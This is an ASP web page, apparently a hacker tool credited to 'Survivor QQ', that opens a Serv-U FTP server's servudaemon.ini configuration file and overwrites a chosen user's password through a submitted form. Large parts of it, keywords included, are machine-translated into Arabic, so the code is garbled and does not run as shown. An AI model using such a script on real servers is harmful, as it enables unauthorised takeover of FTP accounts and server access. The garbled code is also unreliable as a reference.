تم اختبار الرمز التالي للعمل على Serv-U 4.2
<٪
'| ########################## |
'| Survivor QQ: 54883661 |
'| البريد: [email protected] |
'| ########################## |
inipath = d:/program files/serv-u/servudaemon.ini قم بتعيين مسار ملف servudaemon.ini
user = [user = & request (user) & | 1]
تمرير = كلمة المرور = وطلب (تمرير)
المفتاح = طلب (مفتاح)
إذا المفتاح <> ثم
Dim OS ، userlong ، passlong ، pl ، ss
set fso = createObject (scripting.filesystemObject)
SET OS = FSO.OPENTEXTFILE (Inipath ، 1) 'قراءة servudaemon.ini
S = OS.Readall
OS.Close
userlong = instr (s ، user)+len (user) +2
بالنسبة إلى i = userlong إلى userlong+20
passlong = passlong+1
إذا ASC (Mid (S ، I ، 1)) = 13 ثم
الخروج ل
إنهاء إذا
التالي
pl = mid (s ، userlong ، passlong-1)
SS = استبدال (S ، المستخدم و CHR (13) و CHR (10) و PL ، المستخدم و CHR (13)
تعيين OS = fso.createTextFile (inipath ، true) 'اكتب إلى servudaemon.ini
OS.Write SS
OS.Close
إنهاء إذا
٪>
<method form = post>
اسم المستخدم: <إدخال نوع = اسم النص = user> <br>
كلمة مرور جديدة: <نوع الإدخال = اسم النص = pass> <br>
<type type = إرسال اسم = مفتاح القيمة = modify> <br>
</form>